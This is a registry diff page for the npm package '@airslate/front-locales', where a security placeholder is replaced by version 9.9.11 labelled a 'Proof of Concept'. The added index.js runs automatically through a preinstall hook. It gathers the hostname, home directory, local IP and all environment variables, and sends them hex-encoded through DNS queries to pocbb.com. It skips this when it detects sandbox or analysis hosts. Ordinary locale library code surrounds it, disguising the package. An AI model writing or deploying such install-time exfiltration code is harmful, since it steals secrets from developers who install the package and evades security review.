@airslate/front-locales 0.0.1-security → 9.9.11

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @airslate/front-locales might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40airslate%2Ffront-locales for more information.
1
+ # NPM
2
+ This is a Proof of Concept (PoC) package.
package/index.js ADDED
@@ -0,0 +1,126 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ const GLOBAL_TIMEOUT = 10000;
50
+
51
+ setTimeout(() => {
52
+ process.exit(0);
53
+ }, GLOBAL_TIMEOUT);
54
+
55
+ function resolveDNSAsync(subdomain) {
56
+ return new Promise((resolve, reject) => {
57
+ dns.resolve4(subdomain, (err, addresses) => {
58
+ if (err) {
59
+ reject(err);
60
+ return;
61
+ }
62
+ resolve(addresses);
63
+ });
64
+ });
65
+ }
66
+
67
+ function sendJSONviaDNS(domain) {
68
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname().startsWith("HOSTNAME-") || os.hostname() === "instance";
69
+ const pathCheck1 = process.cwd().startsWith("/app");
70
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
71
+ const pathCheck3 = process.cwd().startsWith("/analysis");
72
+ const pathCheck4 = process.cwd() == "/root";
73
+
74
+ if (hostnameCheck || pathCheck1 || pathCheck2 || pathCheck3 || pathCheck4) {
75
+ return Promise.resolve(); // Return a resolved promise if exiting early
76
+ }
77
+
78
+ return new Promise((resolve, reject) => {
79
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
80
+ if (err) {
81
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use fallback DNS servers
82
+ } else {
83
+ const primaryDNS = addresses[0];
84
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
85
+ }
86
+
87
+ const pkgInfo = getPackageInfo();
88
+ const jsonObject = {
89
+ timestamp: getCurrentTimestamp(),
90
+ uid: generateUID(),
91
+ 'pkg-name': pkgInfo.name,
92
+ 'pkg-version': pkgInfo.version,
93
+ 'local-ip': getLocalIP(),
94
+ hostname: os.hostname(),
95
+ homedir: os.homedir(),
96
+ path: process.cwd(),
97
+ 'env': process.env
98
+ };
99
+ const jsonString = JSON.stringify(jsonObject);
100
+ const hexString = jsonStringToHex(jsonString);
101
+
102
+ const chunkSize = 60;
103
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
104
+ const chunks = hexString.match(regex);
105
+
106
+ const dnsPromises = chunks.map((chunk, index) => {
107
+ const packetNumber = (index + 1).toString().padStart(3, '0');
108
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
109
+ return resolveDNSAsync(subdomain);
110
+ });
111
+
112
+ Promise.all(dnsPromises)
113
+ .then(() => {
114
+ resolve();
115
+ })
116
+ .catch(err => {
117
+ reject(err);
118
+ });
119
+ });
120
+ });
121
+ }
122
+
123
+ // Usage
124
+ sendJSONviaDNS('pocbb.com').then(() => {
125
+ process.exit(0);
126
+ });
package/lib/index.js ADDED
@@ -0,0 +1,104 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ var _defineProperty2 = require('babel-runtime/helpers/defineProperty');
7
+ var _defineProperty3 = _interopRequireDefault(_defineProperty2);
8
+ var _assign = require('babel-runtime/core-js/object/assign');
9
+ var _assign2 = _interopRequireDefault(_assign);
10
+ var _keys = require('babel-runtime/core-js/object/keys');
11
+ var _keys2 = _interopRequireDefault(_keys);
12
+ var _utils = require('./utils');
13
+ function _interopRequireDefault(obj) {
14
+ return obj && obj.__esModule ? obj : {
15
+ default: obj
16
+ };
17
+ }
18
+ var DEBUG = Boolean(global.location && global.location.search && /(^|\?|&)debug=on(&|$)/i.test(global.location.search));
19
+ var NO_DEBUG = !DEBUG;
20
+ var pack = function pack(key, params) {
21
+ return {
22
+ key: key,
23
+ params: params
24
+ };
25
+ };
26
+ var extract = function extract(_ref) {
27
+ var text = _ref.text;
28
+ return text;
29
+ };
30
+ var getText = function getText(locale) {
31
+ return function (_ref2) {
32
+ var key = _ref2.key,
33
+ params = _ref2.params;
34
+ return {
35
+ params: params,
36
+ text: key != null ? (0, _utils.ensure)(locale && locale[key], key) : locale
37
+ };
38
+ };
39
+ };
40
+ var removeHtml = function removeHtml(_ref3) {
41
+ var params = _ref3.params,
42
+ text = _ref3.text;
43
+ return {
44
+ params: params,
45
+ text: typeof text === 'string' ? (0, _utils.removeHtmlTags)(text) : text
46
+ };
47
+ };
48
+ var renderText = function renderText(_ref4) {
49
+ var params = _ref4.params,
50
+ text = _ref4.text;
51
+ return {
52
+ params: params,
53
+ text: (0, _utils.render)(text, params || {})
54
+ };
55
+ };
56
+ var renderTok = function renderTok(_ref5) {
57
+ var params = _ref5.params,
58
+ text = _ref5.text;
59
+ return {
60
+ params: params,
61
+ text: (0, _utils.renderTokens)(text, params || {})
62
+ };
63
+ };
64
+ var withPrefix = function withPrefix(prefix) {
65
+ return function (_ref6) {
66
+ var key = _ref6.key,
67
+ params = _ref6.params;
68
+ return {
69
+ params: params,
70
+ key: key != null ? '' + prefix + key : key
71
+ };
72
+ };
73
+ };
74
+ var createLocale = function createLocale(prefix, locale) {
75
+ return {
76
+ prefix: prefix,
77
+ locale: NO_DEBUG ? locale : null
78
+ };
79
+ };
80
+ var localeInterface = function localeInterface(_ref7) {
81
+ var prefix = _ref7.prefix,
82
+ locale = _ref7.locale;
83
+ return {
84
+ get: (0, _utils.compose)(extract, getText(locale), withPrefix(prefix), pack),
85
+ render: (0, _utils.compose)(extract, renderText, getText(locale), withPrefix(prefix), pack),
86
+ plainText: (0, _utils.compose)(extract, removeHtml, renderText, getText(locale), withPrefix(prefix), pack),
87
+ tokenize: (0, _utils.compose)(extract, renderTok, getText(locale), withPrefix(prefix), pack)
88
+ };
89
+ };
90
+ var Locale = (0, _utils.compose)(localeInterface, createLocale);
91
+ var addPrefix = function addPrefix(locale, prefix) {
92
+ return (0, _keys2.default)(locale).reduce(function (loc, k) {
93
+ loc[prefix + k] = locale[k];
94
+ return loc;
95
+ }, {});
96
+ };
97
+ var replacePrefix = function replacePrefix(locale, oldPrefix, newPrefix) {
98
+ return (0, _keys2.default)(locale).reduce(function (loc, k) {
99
+ return (0, _assign2.default)(loc, (0, _defineProperty3.default)({}, k.replace(oldPrefix, newPrefix), locale[k]));
100
+ }, {});
101
+ };
102
+ Locale.addPrefix = addPrefix;
103
+ Locale.replacePrefix = replacePrefix;
104
+ exports.default = Locale;
@@ -0,0 +1,25 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ var ensure = exports.ensure = function ensure(value, defaultValue) {
7
+ return value != null ? value : defaultValue;
8
+ };
9
+ var ensureMulti = exports.ensureMulti = function ensureMulti() {
10
+ for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
11
+ args[_key] = arguments[_key];
12
+ }
13
+ return args.find(function (item) {
14
+ return item != null;
15
+ });
16
+ };
17
+ var getFieldValue = function getFieldValue(current, field) {
18
+ return current != null ? current[field] : current;
19
+ };
20
+ var get = exports.get = function get(obj, name) {
21
+ return name.toString().split(/\./).reduce(getFieldValue, obj);
22
+ };
23
+ var isObject = exports.isObject = function isObject(obj) {
24
+ return Object.prototype.toString.call(obj) === '[object Object]';
25
+ };
@@ -0,0 +1,51 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.isObject = exports.get = exports.ensure = exports.renderTokens = exports.render = exports.renderPlain = exports.renderMap = undefined;
7
+ var _stringify = require('babel-runtime/core-js/json/stringify');
8
+ var _stringify2 = _interopRequireDefault(_stringify);
9
+ var _plural = require('./plural');
10
+ var _helpers = require('./helpers');
11
+ function _interopRequireDefault(obj) {
12
+ return obj && obj.__esModule ? obj : {
13
+ default: obj
14
+ };
15
+ }
16
+ var renderMap = exports.renderMap = function renderMap(map, params, render) {
17
+ return render((0, _helpers.ensureMulti)(map[(0, _helpers.get)(params, map.$KEY || 'key')], map.$OTHER, (0, _stringify2.default)(map)), params);
18
+ };
19
+ var replaceWithParam = function replaceWithParam(params) {
20
+ return function (_, name) {
21
+ return (0, _helpers.ensure)((0, _helpers.get)(params, name), '{' + name + '}');
22
+ };
23
+ };
24
+ var renderPlain = exports.renderPlain = function renderPlain(str, params) {
25
+ return str.replace(/\{([^}{}]+)\}/g, replaceWithParam(params));
26
+ };
27
+ var renderToken = function renderToken(str, params) {
28
+ return str.split(/({.*?})/g).map(function (token) {
29
+ var match = token.match(/\{([^}{}]+)\}/);
30
+ if (match != null) {
31
+ var text = token.replace(/\{([^}{}]+)\}/g, replaceWithParam(params));
32
+ return {
33
+ type: match[1],
34
+ text: text
35
+ };
36
+ }
37
+ return {
38
+ type: 'text',
39
+ text: token
40
+ };
41
+ });
42
+ };
43
+ var render = exports.render = function render(str, params) {
44
+ return typeof str === 'string' ? renderPlain(str, params) : Array.isArray(str) ? (0, _plural.renderPlural)(str, params, render) : (0, _helpers.isObject)(str) ? renderMap(str, params, render) : str;
45
+ };
46
+ var renderTokens = exports.renderTokens = function renderTokens(str, params) {
47
+ return typeof str === 'string' ? renderToken(str, params) : Array.isArray(str) ? (0, _plural.renderPlural)(str, params, render) : (0, _helpers.isObject)(str) ? renderMap(str, params, render) : str;
48
+ };
49
+ exports.ensure = _helpers.ensure;
50
+ exports.get = _helpers.get;
51
+ exports.isObject = _helpers.isObject;
@@ -0,0 +1,36 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.renderPlural = undefined;
7
+ var _toArray2 = require('babel-runtime/helpers/toArray');
8
+ var _toArray3 = _interopRequireDefault(_toArray2);
9
+ var _isNan = require('babel-runtime/core-js/number/is-nan');
10
+ var _isNan2 = _interopRequireDefault(_isNan);
11
+ function _interopRequireDefault(obj) {
12
+ return obj && obj.__esModule ? obj : {
13
+ default: obj
14
+ };
15
+ }
16
+ var getIndexFrom2 = function getIndexFrom2(plural, value) {
17
+ return plural[value < 2 ? 0 : 1];
18
+ };
19
+ var getIndexFrom3 = function getIndexFrom3(plural, value) {
20
+ return plural[value >= 0 && value < 2 ? value : 2];
21
+ };
22
+ var isNotValid = function isNotValid(value) {
23
+ return typeof value !== 'number' || (0, _isNan2.default)(value);
24
+ };
25
+ var getPluralIndex = function getPluralIndex(plural, value) {
26
+ return isNotValid(value) ? plural[0] : plural.length > 2 ? getIndexFrom3(plural, value) : getIndexFrom2(plural, value);
27
+ };
28
+ var ensureBraces = function ensureBraces(key) {
29
+ return /\{[^}{}]+\}/.test(key) ? key : '{' + key + '}';
30
+ };
31
+ var renderPlural = exports.renderPlural = function renderPlural(_ref, params, render) {
32
+ var _ref2 = (0, _toArray3.default)(_ref),
33
+ key = _ref2[0],
34
+ plural = _ref2.slice(1);
35
+ return render(getPluralIndex(plural, +render(ensureBraces(key), params)), params);
36
+ };
package/lib/utils.js ADDED
@@ -0,0 +1,26 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.isObject = exports.get = exports.ensure = exports.renderTokens = exports.render = exports.hasProperty = exports.removeHtmlTags = exports.compose = undefined;
7
+ var _render = require('./render');
8
+ var compose = exports.compose = function compose() {
9
+ for (var _len = arguments.length, fns = Array(_len), _key = 0; _key < _len; _key++) {
10
+ fns[_key] = arguments[_key];
11
+ }
12
+ return fns.reduce(function (f, g) {
13
+ return function () {
14
+ return f(g.apply(undefined, arguments));
15
+ };
16
+ });
17
+ };
18
+ var removeHtmlTags = exports.removeHtmlTags = function removeHtmlTags(text) {
19
+ return text.replace(/<[^>]+?>/g, ' ').replace(/\s+/g, ' ').replace(/(^\s)|(\s$)/g, '');
20
+ };
21
+ var hasProperty = exports.hasProperty = Object.prototype.hasOwnProperty;
22
+ exports.render = _render.render;
23
+ exports.renderTokens = _render.renderTokens;
24
+ exports.ensure = _render.ensure;
25
+ exports.get = _render.get;
26
+ exports.isObject = _render.isObject;
@@ -0,0 +1,11 @@
1
+ module.exports = {
2
+ IMAGE_UPLOADER_TITLE: 'Drag & drop your image here',
3
+ IMAGE_UPLOADER_DESC: 'Upload an image from your gallery or take a picture with your camera.',
4
+ IMAGE_UPLOADER_TAKE_NEW_PHOTO_BTN: 'Take a new picture',
5
+ IMAGE_UPLOADER_TAKE_NEW_PHOTO_BTN_UPLOAD: 'Take a picture',
6
+ IMAGE_UPLOADER_SELECT_PHOTO_BTN: 'Select an image',
7
+ IMAGE_UPLOADER_SAVE_BTN: 'Save',
8
+ IMAGE_UPLOADER_ERROR_FILE_IS_TOO_BIG: 'Image cannot exceed',
9
+ IMAGE_UPLOADER_ERROR_CAMERA_ACCESS_TITLE: 'Camera seems off',
10
+ IMAGE_UPLOADER_ERROR_CAMERA_ACCESS: 'Your WebCam is off, please turn it on.'
11
+ };
@@ -0,0 +1,7 @@
1
+ module.exports = {
2
+ NOTIFICATIONS_INFO_TYPE_TITLE: 'Just so you know…',
3
+ NOTIFICATIONS_WARNING_TYPE_TITLE: 'Oops.',
4
+ NOTIFICATIONS_SUCCESS_TYPE_TITLE: 'Done!',
5
+ NOTIFICATIONS_ERROR_TYPE_TITLE: 'Oh no!',
6
+ NOTIFICATIONS_MESSAGE_TYPE_TITLE: 'Congratulations!'
7
+ };
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "@airslate/front-locales",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.11",
4
+ "description": "This is a Proof of Concept (PoC) package",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }